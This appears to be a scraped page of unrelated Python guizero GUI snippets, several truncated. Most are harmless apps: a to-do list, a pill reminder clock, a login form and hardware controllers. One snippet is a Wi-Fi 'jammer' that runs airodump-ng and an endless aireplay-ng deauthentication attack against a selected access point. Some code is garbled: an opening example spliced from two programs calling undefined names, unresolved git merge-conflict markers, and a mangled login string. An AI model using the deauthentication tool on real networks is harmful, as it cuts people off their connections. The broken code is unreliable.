"""GUI Widget Presentation: Widget Alignment
   ITN 160 Programming I
   11/16/2019"""


# Import guizero library
import guizero
from guizero import *


# Create the widget that will contain the aligned text
app = guizero.App(title='GUI Widget Alignment', width=500, height=500)

# Set the alignment, size, and color for the "Top Alignment" text
top_alignment = guizero.Text(app, text='TOP ALIGNMENT', align='top')
top_alignment.text_color = 'crimson'
top_alignment.text_size = 15

# Set the alignment, size, and color for the "Bottom Alignment" text
bottom_alignment = guizero.Text(app, text='BOTTOM ALIGNMENT', align='bottom')
bottom_alignment.text_color = 'dark violet'
bottom_alignment.text_size = 15

# Set the alignment, size, and color for the "Left Alignment" text
buttn1 = PushButton(app, align='right')
left_alignment = guizero.Text(app, text='LEFT ALIGNMENT', align='left')
left_alignment.text_color = 'blue2'
left_alignment.text_size = 15

# Set the alignment and size for the "Right Alignment" text
right_alignment = guizero.Text(app, text='RIGHT ALIGNMENT', align='right')

def left():
    explorerhat.motor.stop()
    explorerhat.motor.one.forward(100)


# right


def right():
    explorerhat.motor.stop()
    explorerhat.motor.two.forward(100)


# stop


def stop():
    explorerhat.motor.stop()


app = guizero.App("Buggy controller")
drive = guizero.PushButton(app, forwards, text="Forwards")
reverse = guizero.PushButton(app, backwards, text="Reverse")
go_left = guizero.PushButton(app, left, text="Left")
go_right = guizero.PushButton(app, right, text="Right")
brake = guizero.PushButton(app, stop, text="Stop")

app.display()
Ejemplo n.º 3
0
        print("en af tiderne var ikke et tal. Ændre tiden til et tal")


def photoNoUpload():
    pass


def video_choice():
    pass


def videoNoUpload():
    pass


app = guizero.App(title="Surveillance tools")

menu = guizero.MenuBar(app,
                       toplevel=["Photo", "Video"],
                       options=[[["With upload", photo_choice],
                                 ["Without upload", photoNoUpload]],
                                [["with upload", video_choice],
                                 ["Without upload", videoNoUpload]]])
message = guizero.Text(app, text="Hvad skal vi lave i dag?", grid=[0, 0])
blank_message = guizero.Text(app, text="")
box0 = guizero.Box(app, layout="grid")
box0_text0 = guizero.PushButton(box0,
                                text="Tryk f for foto",
                                command=photo_choice,
                                grid=[0, 2])
box0_text1 = guizero.PushButton(box0,
Ejemplo n.º 4
0
        active.bg = 'lightgray'
    app.update()
    return True


def end_app():
    logger.info('Game Exit!!!!')
    big_game.game_exit()
    app.destroy()
    loop.quit()


if __name__ == '__main__':
    logger.debug('Debug On!!!!')
    app = guizero.App("Big Button Project",
                      layout='grid',
                      width=600,
                      height=300)
    big_game = big_button_project.ButtonGame()
    title = guizero.Text(app, text='Big Button Game', size=24, grid=[0, 1])
    button = guizero.PushButton(app,
                                big_game.game_start,
                                text='Start',
                                grid=[1, 1])
    active = guizero.TextBox(app, text='', width=20, grid=[2, 1])
    active.bg = big_game.btn_active
    score_lbl = guizero.Text(app, text='Score:', size=36, grid=[3, 0])
    score = guizero.Text(app, text=big_game.score, size=36, grid=[3, 2])
    game_over = guizero.PushButton(app, end_app, text='Exit', grid=[4, 1])

    GLib.idle_add(refresh_app)
    try:
Ejemplo n.º 5
0
__author__ = "Joshua Akangah"

from database import *
import guizero

# creating an app and creating an instamce of the database class
app = guizero.App(title="ToDo", width=400, height=600)
database = Database("todo.sqlite")

# creating a table in the database, if a table already exists, we will get an sqlite Operational Error
# but will not halt the program
database.create_table()


# main function of the GUI
def refreshScreen():
    """
    function to re-draw items from the database to the listbox
    : return : None
    """
    task.clear()
    for item in database.retrieve_all():
        comp = ['Completed' if item[4] == 'True' else 'Pending']
        #txt = guizero.Text(task, text=f"{item[0]}. {item[1]}            {comp[0]}")
        #string = f"{item[0]}. {item[1]}            {comp[0]}"
        task.insert('end', f"{item[0]}. {item[1]}            {comp[0]}")


def main():
    # making entertask a global variable so we can access its value from any method
    global enterTask
Ejemplo n.º 6
0
import guizero as gui
import datetime
import RPi.GPIO as GPIO
import time as t
import keyboard

#def pushbuttom():


def pilltime():
    pilltxt.value = "Time for pills"


def updatetime():
    now = datetime.datetime.now()
    timetxt.value = now.strftime("%H:%M:%S")


app = gui.App(title="iPothecary", width=300, height=200, layout="grid")

words = gui.Text(app, text="iPothecary", grid=[0, 0], align="left")
timetxt = gui.Text(app, text="00:00:00", grid=[0, 1], size=40, align="left")
timetxt.repeat(1000, updatetime)
pilltxt = gui.Text(app,
                   text="Not time for pills yet.",
                   grid=[0, 2],
                   align="left")

app.display()
Ejemplo n.º 7
0
#this function will take all the slider values for the second slider and control motor 2
def slider2_read(slider_value):

    print(slider_value)
    ser.flush()
    ser.write(str('M2').encode('utf-8'))
    ser.write(str("\n").encode('utf-8'))
    ser.flush()
    ser.write(str(slider_value).encode('utf-8'))
    ser.write(str("\n").encode('utf-8'))
    time.sleep(.2)


#These lines of code will create the GUI using GUizero and set the perameters for all of the interfaces. 
#Each slider and button will have a specific command it will call everything it is used
app = guizero.App()

slider1 = guizero.Slider(app, start=0, end=180, width="fill", command=slider_read)
slider2 = guizero.Slider(app, start=0, end=180, width="fill", command=slider2_read)
RecordButton = guizero.PushButton(app, text="Save", command=Sto_Position)
RepeatButton = guizero.PushButton(app, text="Repeat", command=Repeat_value)

app.display()

ser.close()


#####------------THIS IS TEST CODE DEVELOPED FOR A LED---------------##########


# def led_on_off():
Ejemplo n.º 8
0
  Run = False
  stop.disable()
  start.enable()

# most important function
def Ukonci_meranie():
  exit()

# collect data pack it and send it away
def Read_Send():
  if Run:
    msg = "cpu:"+str(int(psutil.cpu_percent()))
    UDPClientSocket.sendto(msg.encode(), serverAddressPort)

# let's build the gui
aplikacia = guizero.App(title="Meranie CPU na dialku")
okienko = guizero.Box(aplikacia, layout = "grid")
start = guizero.PushButton(okienko, command=Start_meranie, text = "Start", grid = [0,0])
stop = guizero.PushButton(okienko, command=Stop_meranie, text = "Stop", grid = [1,0])
koniec = guizero.PushButton(okienko, command=Ukonci_meranie, text = "Koniec", grid = [2,0])
stop.disable()

# main loop
try:
  UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
  aplikacia.repeat(400, Read_Send)
  aplikacia.display()
      
except KeyboardInterrupt:
 pass
Ejemplo n.º 9
0
import core, guizero

app= guizero.App(title="Drawing Machine 1.0")
text_foto = guizero.Text(app, text="Aperte o Botão para tirar a foto")
tirar_foto = guizero.PushButton(app,command=core.foto(),text="Tirar Foto")

app.display()
Ejemplo n.º 10
0
def gui():
    #functions

    def monitor():
        #gets status info related to monitoring mode
        status_list.append(start_adapter(interface_name))

    def list_APs():

        wifi_list.clear()
        #gets list of nearby APs
        nearby_APs = locate_APs(interface_in_monitor_mode)

        for AP in nearby_APs:
            AP_name = AP[0]
            wifi_list.append(AP_name)

    def network_reset():
        #resets the network adapter to its original state
        messages = stop_adapter(interface_in_monitor_mode)

        for message in messages:
            status_list.append(message)

    #main app
    jammer = g.App(title=title,
                   width=window_width,
                   height=window_height,
                   layout="grid")

    text1 = g.Text(
        jammer,
        text="Wireless AP's in the nearby area are -",
        size="12",
        color="black",
        bg=None,
        font=None,
        grid=[1, 0],
        align="left",
        width=None,
        height=None,
    )

    #wifi ap listbox
    wifi_list = g.ListBox(
        jammer,
        grid=l_grid,
        align=l_align,
        scrollbar=l_scrollbar,
        height=l_height,
        items=["No nearby AP's found"],
        width=l_width,
    )

    #status listbox
    status_list = g.ListBox(
        jammer,
        grid=[2, 1],
        align="left",
        scrollbar="True",
        height="200",
        items=["System Initialized"],
        width="500",
    )

    #Network Reset PushButton

    network_reset = g.PushButton(jammer,
                                 command=network_reset,
                                 text="Reset Network Adapter",
                                 grid=[1, 3],
                                 align="left")

    #Exit PushButton

    network_reset = g.PushButton(jammer,
                                 command=exit,
                                 text="Exit",
                                 grid=[2, 3],
                                 align="left")

    status_list.after(100, monitor)
    wifi_list.after(100, list_APs)

    jammer.display()
Ejemplo n.º 11
0
def gui():

	def monitor():
        	#gets status info related to monitoring mode
		status_list.append(start_adapter(interface_name))
		logger.info('entered function monitor')

	def list_APs():
		wifi_list.clear()
		#gets list of nearby APs
		nearby_APs = locate_APs(interface_in_monitor_mode)    
		for AP in nearby_APs:
			AP_name = AP[0]
			wifi_list.append(AP_name)

	def network_reset():
    	    #resets the network adapter to its original state
    	    messages = stop_adapter(interface_in_monitor_mode)
        
    	    for message in messages:
    	        status_list.append(message)

	def change_selected_ssid(value):
		#displays the selected AP in the textbox
		text_box_ssid.value = value

	def disrupt_AP():
		logger.info('disrupt ap button clicked')
		essid = text_box_ssid.value
		essid = essid.lstrip(' ')
		essid = essid.rstrip(' ')
		#disrupts the selected wireless_AP
		desired_router = " "
		logger.info("routers found are:-")
		router_found = 0
		for router in wireless_APs:
			logger.info(router)
			logger.info(router[0])
			essid1 = str(router[0])
			essid1 = essid1.lstrip(' ')
			essid1 = essid1.rstrip(' ')
			channel1 = str(router[1])
			bssid1 = str(router[2])
			logger.info('essid1 = '+ essid1)
			logger.info('essid = ' + essid)
			if essid == essid1:
				router_found = 1
				logger.info("desired router located")
				desired_router = router
				print(router)
				logger.info(router)
				status_list.append(("Locking %s communicating on channel %s with BSSID %s " %(desired_router[0],desired_router[1],desired_router[2])))
				break
		if router_found == 0:
			status_list.append(("Error!! : Could not find wireless AP with ESSID %s"%(essid)))		  
			logger.info(essid + "is chosen to be jammed")
  
		else:
			logger.info("locking airodump onto given ap")
			command = "xterm -geometry -500+100 -T 'locking channel " + desired_router[1] + "' -e ' timeout 5 airodump-ng --bssid " + desired_router[2] + " -c " + desired_router[1] + " " + interface_in_monitor_mode + " '"
			os.system(command)
			status_list.append("target locked successfullly")
			status_list.append("deauthenticating all clients from the AP (press ctrl + C to exit)")
			command = "xterm -geometry -500+100 -T 'deauthenticating all users from " + desired_router[0] + " (press ctrl+c to stop)' -e 'aireplay-ng --deauth 0 -a " + desired_router[2] + " " + interface_in_monitor_mode +  " '"
			os.system(command)
			logger.info("\n deauthenticating all clients")

		
	jammer = g.App(title = title, width = window_width, height = window_height, layout = "grid" )


	info_box = g.Box(
		jammer,
		width = 'fill',
		grid = [0,0],
		)    
	text1 = g.Text(
		jammer,
		text = "Wireless AP's in the nearby area are -",
		size = "12",
		color = "black",
		bg = None,
		font = None,
		grid = [0,0],
		align = "left",
		width = 'fill',
		height = None, 
	 
		)

	text2 = g.Text(
		jammer,
		text = "Info -",
		size = "12",
		color = "black",
		bg = None,
		font = None,
		grid = [1,0],
		align = "left",
		width = 'fill',
		height = None, 
	 
		)

	#wifi ap listbox
	wifi_list = g.ListBox(
	    jammer, 
	    grid = [0,1], 
	    align = l_align, 
	    scrollbar = l_scrollbar, 
	    height = l_height,
	    items = ["No nearby AP's found"],
	    width = l_width,
            command = change_selected_ssid,
	    )

	#status listbox
	status_list = g.ListBox(
	    jammer, 
	    grid = [1,1], 
	    align = "left", 
	    scrollbar = "True", 
	    height = "200",
	    items = ["System Initialized"],
	    width = "300",
	    )


	#A box widget that holds all buttons
	button_box = g.Box(
		jammer, width="fill",
		grid = [0,3],
		)


	#StartScan PushButton

	exit_button = g.PushButton(
		button_box,
		command = change_selected_ssid,
		text = "Scan",
		align = "left",

	    )

	#Network Reset PushButton

	network_reset = g.PushButton(
		button_box,
		command = network_reset,
		text = "Reset Network Adapter",
		align = "left",

	    )


	#Exit PushButton

	exit_button = g.PushButton(
		button_box,
		command = exit,
		text = "Exit",
		align = "left",

	    )


	#A box widget that holds selected ap
	selected_box = g.Box(
		jammer, 
		width="fill",
		grid = [0,4],
		border = True,
		)   



	text = g.Text(
		     selected_box,
		     text="Selected wireless AP is",
		     align="left",)

	text_box_ssid = g.TextBox(
			selected_box,
		        text="No Wireless AP Selected",
		        align="left",
			width = 'fill',
			)

	Disrupt = g.PushButton(
			selected_box,
		        text="Disrupt",
			command=disrupt_AP,
		        align="left",
			)

	    
	status_list.after(100,monitor)
	wifi_list.after(100,list_APs)
		
	jammer.display()
Ejemplo n.º 12
0
import guizero as gui
import dateoperations as dateops
import apioperations as apiops
import webbrowser

# App -----

app = gui.App(title='Pixela Habit Tracker',
              layout='grid',
              width=510,
              height=340)
app.bg = '#FFFAFA'

# Functions -----


def submit_request_to_api():
    """Primary app function."""
    username = username_entry_textbox.value
    graph_id = graph_name_combo.value
    request_type = pixel_options.value
    date_choice = date_option.value
    custom_date = date_entry_textbox.value
    quantity = quantity_entry_textbox.value

    submit_request_with_values(username, graph_id, request_type, date_choice,
                               custom_date, quantity)


def submit_request_with_values(username, graph_id, request_type, date_choice,
                               custom_date, quantity):
Ejemplo n.º 13
0
import guizero


def KaldMinFunktion():
    guizero.Text(app, text="Mirsad!")


def slider_changedFunktion(slider_value):
    #guizero.Text(app, text=slider_value)
    #guizero.TextBox(app, slider_value )
    textBoxVar.value = slider_value


app = guizero.App(title="Min vindue")
guizero.Text(app, text="Welcome to the Hello world app!")
guizero.PushButton(app, command=KaldMinFunktion)
textBoxVar = guizero.TextBox(app)
guizero.Slider(app, command=slider_changedFunktion)

app.display()
Ejemplo n.º 14
0
import os
import guizero as gui
from src import recognition as rcgTrigger

imagem = 0

app = gui.App(title="Reconhecimento de escrita a mão - Machine Learning")
img_window = gui.Picture(app)


def getCursives():
    dados = os.listdir('./assets/')
    del dados[dados.index('.directory')]
    return dados


def imgValue(valor):
    global imagem, img_window
    imagem = valor
    img_window.value = "./assets/" + valor
    img_window.height = 56
    img_window.width = 56
    print(valor)


listbox = gui.ListBox(app, items=getCursives(), scrollbar=True, command=imgValue, align="center")

listbox.bg = "#ffffff"
listbox.text_color = "#000000"

Ejemplo n.º 15
0
import guizero as g

def clear_uname():
    uname.clear()

def clear_pass():
    password.clear()


app = g.App(title='Login', height=300, width=500, layout='grid', bg='lightblue')
title = g.Text(app, text='SIGN IN', size=40, color='blue', font='Helvetica', grid=[1, 0], align='left')
uname_label = g.Text(app, text='Enter username: '******'left', size=15)
uname = g.TextBox(app, text='Username', grid=[1, 2], width=45, align='left')
uname.when_clicked = clear_uname
password_lbl = g.Text(app, text='Enter password: '******'left')
password = g.TextBox(app, text='Password', grid=[1, 3], width=45, align='left')
password.when_clicked = clear_pass

forgot_pass = g.Text(app, text='Forgot password?', color='blue', font='Helvetica', grid=[0, 4], align='left')

login_button = g.PushButton(app, text='Login', grid=[0, 5], align='left', width=10, height=1)
login_button.text_size = 10
register_button = g.PushButton(app, text='Signup', grid=[0, 6], align='left', width=10, height=1)

app.display()


Ejemplo n.º 16
0
    #    t += volumen*pump_ml_to_s
    #print(ingredients)
    
    
=======

    #    print('for ' + (volumen*pump_ml_to_s)-t + ' sec')
    #    t += volumen*pump_ml_to_s
    #print(ingredients)

>>>>>>> e1856f4529bc40e669bdbe2a7f00bc1255faaf09



drinks = MyDrinks.FinalDrinksList()
#print(drinks)

drinknames = [drinkid[1] for drinkid in drinks]

<<<<<<< HEAD
app = guizero.App(title="BartenderTron 3000")
=======
app = guizero.App(title="Bartendertron3000")
>>>>>>> e1856f4529bc40e669bdbe2a7f00bc1255faaf09

drink_choice = guizero.Combo(app, options=drinknames, grid=[1,0], align="left")

choice_drink = guizero.PushButton(app, command=PressDrinkButton, text="Pour drink", grid=[1,3], align="left")

app.display()
Ejemplo n.º 17
0
def clean(matrice, dictionary):
    #pulisce matrice e colore celle
    for y in range(15):
        for x in range(20):
            matrice[x, y].value = 'X'
            matrice[x, y].button.bg = dictionary['X']


matrix = {}
dictionary = {'X': 'black', 'o': 'green', ' ': 'white', 'v': 'yellow'}

# GUI -->
desktop = guizero.App(
    title='Start',
    layout='grid',
    visible=False,
)
picture = 'white.png'

# BUTTON
color = guizero.Text(desktop, grid=[20, 0], text='Wall')
wall = guizero.PushButton(desktop,
                          grid=[20, 1],
                          command=lambda: command('X', color),
                          text='')
road = guizero.PushButton(desktop,
                          grid=[20, 2],
                          command=lambda: command(' ', color),
                          text='')
start = guizero.PushButton(desktop,
Ejemplo n.º 18
0
		for i in deletedfiles:
			data.remove(i)
		file = open("data.txt", "w")
		for i in data:
			file.write(i)
		file.close
		if deletedfiles ==[]:
			report.append('⮚ No old file deleted')
		else:
			report.append('⮚ All old files deleted')

	except:
		report.append("⮚ ERROR IN DELETING FILES")


app = gz.App(title="PizzaDeleter")
app.tk.iconbitmap('pizzicon.ico')

deletebar = gz.Box(app, width="fill", height=25)
filebutton = gz.PushButton(deletebar, text="File", align="left", height="fill", command=filebutton)
filebox = gz.TextBox(deletebar, align="left", width="fill", height="fill")
deletebutton = gz.PushButton(deletebar, text="DELETE", align="right", height="fill", command=movefolder)


report = gz.TextBox(app, text="⮚ Deleting older than 48 hours",  width="fill", height="fill", multiline=True, scrollbar=True)
deleteold()
report.append('⮚ Select a file and click on DELETE')



app.display()
Ejemplo n.º 19
0
wormholeAuroraMeanings = {
    1: "Only frigate sized ships",
    2:
    "Medium sized ships including: cruisers, battlecruisers and industrial ships",
    3: "Every ship but not capital class ships",
    4: "Every ship including capital class ships"
}

user32 = ctypes.windll.user32
SCREEN_WIDTH = 800
SCREEN_HEIGHT = 800

MAIN_APP_TITLE = "Wormhole Identifier"
MAIN_APP_LAYOUT = "grid"

mainApp = guizero.App(MAIN_APP_TITLE, SCREEN_WIDTH, SCREEN_HEIGHT,
                      MAIN_APP_LAYOUT)

mainApp.tk.wm_iconbitmap('images/space.ico')

titleText = guizero.Text(
    mainApp,
    "Adjust the sliders to match the wormhole you're looking at:",
    size=20,
    grid=[0, 0])

wormholeEyeImage = guizero.Picture(mainApp,
                                   "images/c1.bmp",
                                   grid=[0, 1],
                                   width=250,
                                   height=250)
Ejemplo n.º 20
0
        "Baud": [""],
        "stopBits": serial.STOPBITS_TWO,
        "parity": serial.PARITY_NONE,
        "byteSize": serial.EIGHTBITS
    },
    "FT-817ND": {
        "TX": bytes([10, 10, 10, 10, 8]),
        "RX": bytes([10, 10, 10, 10, 136]),
        "Baud": ["4800", "9600", "38400"],
        "stopBits": serial.STOPBITS_TWO,
        "parity": serial.PARITY_NONE,
        "byteSize": serial.EIGHTBITS
    }
}

root = guizero.App(title="rts2cat", layout="grid", width=219, height=166)
radioLabel = guizero.Text(root, text="Radio: ", grid=[0, 0], align="left")
radioSelection = guizero.Combo(root,
                               options=radioOptions,
                               grid=[1, 0],
                               align="left")


def updateTick():

    if radioBaudSelection._options != radioCommands[
            radioSelection.value]["Baud"]:

        radioBaudSelection._options = radioCommands[
            radioSelection.value]["Baud"]
Ejemplo n.º 21
0
    def __init__(self):
        self.current_config = app_config.get_from_file()

        self.app = guizero.App(title="KootNet Sensors - Control Center",
                               width=405,
                               height=295,
                               layout="grid")

        self.app.on_close(self._app_exit)

        self.text_download_db = "Download SQL Databases"
        self.text_system_report = "Systems Report"
        self.text_configuration_report = "Configurations Report"
        self.text_test_sensors = "Sensors Test Report"

        self.ip_selection = CreateIPSelector(self.app, self.current_config)
        self._set_ip_list()

        self.window_control_center_config = CreateConfigWindow(
            self.app, self.current_config, self.ip_selection)
        self.window_sensor_display = CreateSensorDisplayWindow(
            self.app, self.ip_selection, self.current_config)
        self.window_sensor_commands = CreateSensorCommandsWindow(
            self.app, self.ip_selection, self.current_config)
        self.window_sensor_config = CreateSensorConfigWindow(
            self.app, self.ip_selection, self.current_config)
        self.window_sensor_logs = CreateSensorLogsWindow(
            self.app, self.ip_selection, self.current_config)
        self.window_graph = CreateGraphingWindow(self.app, self.ip_selection,
                                                 self.current_config)
        self.window_db_info = CreateDataBaseInfoWindow(self.app,
                                                       self.current_config)
        self.window_sensor_notes = CreateDataBaseNotesWindow(
            self.app, self.ip_selection, self.current_config, "sensor")
        self.window_db_notes = CreateDataBaseNotesWindow(
            self.app, self.ip_selection, self.current_config, "database")
        self.window_about = CreateAboutWindow(self.app)

        self.app_menubar = guizero.MenuBar(
            self.app,
            toplevel=["File", "Sensors", "Graphing & Databases", "Help"],
            options=[
                [[
                    "Control Center Configuration",
                    self.window_control_center_config.window.show
                ], ["Open Logs", self._app_menu_open_logs],
                 [
                     "Save IP List",
                     self.window_control_center_config.save_ip_list
                 ], ["Reset IP List", self._reset_ip_list],
                 ["Quit", self._app_exit]],
                [["Remote Display", self.window_sensor_display.window.show],
                 ["View & Download Logs", self.window_sensor_logs.window.show],
                 ["Online Notes Editor", self.window_sensor_notes.window.show],
                 ["Send Commands", self.window_sensor_commands.window.show],
                 [
                     "Update Configurations",
                     self.window_sensor_config.window.show
                 ]],
                [["Graphing", self.window_graph.window.show],
                 ["DataBase Info", self.window_db_info.window.show],
                 ["Offline Notes Editor", self.window_db_notes.window.show]],
                [["KootNet Sensors - About", self.window_about.window.show],
                 ["KootNet Sensors - Website", self._app_menu_open_website],
                 [
                     "Sensor Units - Making a Sensor",
                     self._app_menu_open_build_sensor
                 ], ["Sensor Units - Help", self._app_menu_open_sensor_help],
                 [
                     "Control Center - Help",
                     self._app_menu_open_control_center_help
                 ]]
            ])

        self.app_button_check_sensor = guizero.PushButton(
            self.app,
            text="Check Sensors\nStatus",
            command=self.ip_selection.get_verified_ip_list,
            grid=[1, 15, 2, 1],
            align="left")

        self.combo_dropdown_selection = guizero.Combo(
            self.app,
            options=[
                self.text_system_report, self.text_configuration_report,
                self.text_test_sensors, self.text_download_db
            ],
            command=self._app_dropdown_change,
            grid=[2, 15, 3, 1],
            align="bottom")

        self.app_button_main_create = guizero.PushButton(
            self.app,
            text="Create",
            command=self._app_button_proceed,
            grid=[4, 15],
            align="right")

        # Window Tweaks
        self.app.tk.resizable(False, False)
Ejemplo n.º 22
0
import guizero
import sys
import time
import os
os.system("cat script.py > script_backup.py")
filewrite = open("script.py", "w")


#windows
mainwindow = guizero.App(title = "gpguio by arnitdo", width = 720, height = 540)
mainwindow.hide()
mainwindow.disable()
LEDwindow = guizero.Window(mainwindow, width = 720, height = 540, title = "New LED")
LEDwindow.hide()
LEDwindow.disable()
PWMLEDwindow = guizero.Window(mainwindow, width = 720, height = 540, title = "New PWM LED")
PWMLEDwindow.hide()
PWMLEDwindow.disable()
Sleepwindow = guizero.Window(mainwindow, width = 720, height = 540, title = "Add Sleep Timer")
Sleepwindow.hide()
Sleepwindow.disable()
LEDcontrolwindow = guizero.Window(mainwindow, width = 720, height = 540, title = "LED controls")
LEDcontrolwindow.hide()
LEDcontrolwindow.disable()
PWMLEDcontrolwindow = guizero.Window(mainwindow, width = 720, height = 540, title = "PWMLED controls")
PWMLEDcontrolwindow.hide()
PWMLEDcontrolwindow.disable()
Buttonwindow  = guizero.Window(mainwindow, width = 720, height = 540, title = "New Button")
Buttonwindow.hide()
Buttonwindow.disable()
Buttoncontrolwindow = guizero.Window(mainwindow, width = 720, height = 540, title = "Button controls")
Ejemplo n.º 23
0
def main():
    guizero_app = guizero.App(
        title="Window blinds automatic opener & closer",
        width=500,
        height=700)
    vertical_spacer(guizero_app, 10)

    pin_window_blinds_direction = 12  # GPIO pin 12 == Raspberry Pi pin 32
    pin_window_blinds_pwm = 16  # GPIO pin 16 == Raspberry Pi pin 36
    window_blinds = WindowBlinds(
        guizero_app, pin_window_blinds_direction,
        pin_window_blinds_pwm)

    pin_neopixel = board.D18  # GPIO pin 18 == Raspberry Pi pin 12
    led_count = 35
    maximum_duty_cycle = 5  # limit the led brightness
    neopixel_ring_clock = NeopixelRingClock(pin_neopixel, led_count,
                                            maximum_duty_cycle)
    neopixel_ring_clock.update()

    datetime_daily_alarm_close = None
    datetime_daily_alarm_open = None
    datetime_one_time_alarm_open = None

    vertical_spacer(guizero_app, 10)
    box_brightness = guizero.Box(guizero_app, width="fill")
    box_brightness.set_border(1, "#aaaaaa")
    guizero.Text(box_brightness, text="LED brightness").tk.configure(
        font=("Liberation Sans", 12, "bold"))

    def handle_brightness_changed():
        neopixel_ring_clock.max_brightness = int(slider_brightness.value)
        neopixel_ring_clock.update()
    slider_brightness = guizero.Slider(box_brightness, start=0, end=255,
                                       command=handle_brightness_changed, width="fill")
    slider_brightness.value = maximum_duty_cycle

    vertical_spacer(guizero_app, 40)
    ########################################################################
    #################### Create GUI for daily alarm ########################
    ########################################################################
    box_daily_alarm = guizero.Box(guizero_app, width="fill")
    box_daily_alarm.set_border(1, "#aaaaaa")
    guizero.Text(box_daily_alarm, text="Daily alarm").tk.configure(
        font=("Liberation Sans", 12, "bold"))
    vertical_spacer(box_daily_alarm, 10)

    # Duration before sunrise to close the blinds
    box_close_blinds_time = guizero.Box(box_daily_alarm)
    guizero.Text(box_close_blinds_time, text="Close the blinds ", align="left")
    textbox_duration_before_sunrise = guizero.TextBox(box_close_blinds_time,
                                                      align="left", text="1 hour")
    guizero.Text(box_close_blinds_time, text=" before sunrise.",
                 align="left")

    # What time to open the blinds afterwards
    box_open_blinds_time = guizero.Box(box_daily_alarm)
    guizero.Text(
        box_open_blinds_time,
        text="Then, open the blinds at ",
        align="left")
    textbox_open_blinds_time = guizero.TextBox(box_open_blinds_time,
                                               text="11 AM", align="left")
    guizero.Text(box_open_blinds_time, text=".", align="left")

    text_daily_alarm_status = guizero.Text(box_daily_alarm,
                                           text="Click the button below to set the daily alarm.")
    vertical_spacer(box_daily_alarm, 10)
    text_daily_alarm_status2 = guizero.Text(box_daily_alarm,
                                            text="Second line of status")
    vertical_spacer(box_daily_alarm, 10)
    text_daily_alarm_status3 = guizero.Text(box_daily_alarm,
                                            text="Third line of status")

    def set_daily_alarm(for_date=None):
        # Close the blinds a user-specified amount of time before sunrise.
        # Open the blinds at a user specified absolute time.

        # Coordinates for the City of Santa Clara, California
        sun = suntime.Sun(37.354444, -121.969167)

        if for_date is None:
            # If the date to get the sunrise for isn't speficied,
            # schedule the blinds to open for the next future sunrise.
            datetime_now = datetime.now().astimezone()
            date_today = datetime_now.date()
            is_pm = datetime_now.hour > 11
            if is_pm:
                # Sunrise is always in the AM. If the current time is PM,
                # schedule the blinds to open for tomorrow's sunrise.
                date_tomorrow = date_today + timedelta(days=1)
                datetime_sunrise = sun.get_sunrise_time(
                    date_tomorrow).astimezone()

            else:
                # Check if sunrise already happened
                datetime_sunrise_today = sun.get_sunrise_time(
                    date_today).astimezone()

                if datetime_sunrise_today <= datetime_now:
                    # Sunrise already happened today. Schedule the blinds
                    # to open for tomorrow's sunrise.
                    date_tomorrow = date_today + timedelta(days=1)
                    datetime_sunrise = sun.get_sunrise_time(
                        date_tomorrow).astimezone()
                else:
                    # sunrise is in the future today
                    datetime_sunrise = datetime_sunrise_today

        else:
            # Use the date given in the keywork argument.
            datetime_sunrise = sun.get_sunrise_time(for_date).astimezone()

        nonlocal datetime_daily_alarm_close

        seconds_before_sunrise = Duration(
            textbox_duration_before_sunrise.value).to_seconds()
        datetime_daily_alarm_close = (datetime_sunrise -
                                      timedelta(seconds=seconds_before_sunrise)).astimezone()

        # When to open the blinds - get an absolute time from user.
        datetime_parsed_open_at = dateparser.parse(
            textbox_open_blinds_time.value).astimezone()

        nonlocal datetime_daily_alarm_open

        if datetime_parsed_open_at is None:
            text_daily_alarm_status.text_color = "red"
            text_daily_alarm_status.value = "Couldn't parse date from string"
            datetime_daily_alarm_open = None
            return

        datetime_daily_alarm_open = datetime.combine(datetime_sunrise.date(),
                                                     datetime_parsed_open_at.time()).astimezone()

        if datetime_daily_alarm_open <= datetime_daily_alarm_close:
            text_daily_alarm_status.text_color = "red"
            text_daily_alarm_status.value = \
                "Trying to set blinds to open before they close:" + \
                "\ndatetime_daily_alarm_open = " + \
                datetime_daily_alarm_open.strftime(DATETIME_FORMAT_STRING) + \
                "\ndatetime_daily_alarm_close = " + \
                datetime_daily_alarm_close.strftime(DATETIME_FORMAT_STRING)
            datetime_daily_alarm_open = None
            return

        neopixel_ring_clock.put_alarm_region("daily",
                                             datetime_daily_alarm_close, datetime_daily_alarm_open)

        text_daily_alarm_status.text_color = "black"
        text_daily_alarm_status.value = \
            "\nSunrise is:\n" + \
            datetime_sunrise.strftime(DATETIME_FORMAT_STRING) + \
            "\n\nClose blinds at:\n" + \
            datetime_daily_alarm_close.strftime(DATETIME_FORMAT_STRING) + \
            "\n\nThen open blinds at:\n" + \
            datetime_daily_alarm_open.strftime(DATETIME_FORMAT_STRING)

    guizero.PushButton(box_daily_alarm, text="Update daily alarm",
                       command=set_daily_alarm)

    vertical_spacer(guizero_app, 40)

    #################################################################
    ################## Create gui for a one-time alarm ##############
    #################################################################
    box_one_time_alarm = guizero.Box(guizero_app, width="fill")
    box_one_time_alarm.set_border(1, "#aaaaaa")
    guizero.Text(box_one_time_alarm,
                 text="One-time alarm").tk.configure(font=("Liberation Sans", 12, "bold"))
    vertical_spacer(box_one_time_alarm, 10)

    box_one_time_alarm_time = guizero.Box(box_one_time_alarm)
    guizero.Text(box_one_time_alarm_time,
                 text="Close blinds now, then open blinds ", align="left")
    textbox_one_time_alarm = guizero.TextBox(box_one_time_alarm_time,
                                             text="in 20 seconds", align="left", width=20)
    guizero.Text(box_one_time_alarm_time, text=".", align="left")

    text_one_time_alarm_status = guizero.Text(box_one_time_alarm,
                                              text="Click the button below to set a one-time alarm.")

    def set_one_time_alarm():
        datetime_parsed = dateparser.parse(textbox_one_time_alarm.value) \
            .astimezone()
        datetime_now = datetime.now().astimezone()
        nonlocal datetime_one_time_alarm_open

        if datetime_parsed is None:
            text_one_time_alarm_status.text_color = "red"
            text_one_time_alarm_status.value = \
                "Couldn't parse date from string"
            datetime_one_time_alarm_open = None
            return

        total_seconds = (datetime_parsed - datetime_now).total_seconds()
        if total_seconds < 1:
            text_one_time_alarm_status.text_color = "red"
            text_one_time_alarm_status.value = \
                "Can't set alarm to ring in the past"
            datetime_one_time_alarm_open = None
            return

        if total_seconds >= 60 * 60 * 24:
            text_one_time_alarm_status.text_color = "red"
            text_one_time_alarm_status.value = "Setting alarm to ring " + \
                "more than one day in the future is not supported"
            datetime_one_time_alarm_open = None
            return

        datetime_one_time_alarm_open = datetime_parsed

        # Starts the blinds closing, returns immediately, does not block.
        window_blinds.go_to_closed()

        neopixel_ring_clock.put_alarm_region("one-time", datetime_now,
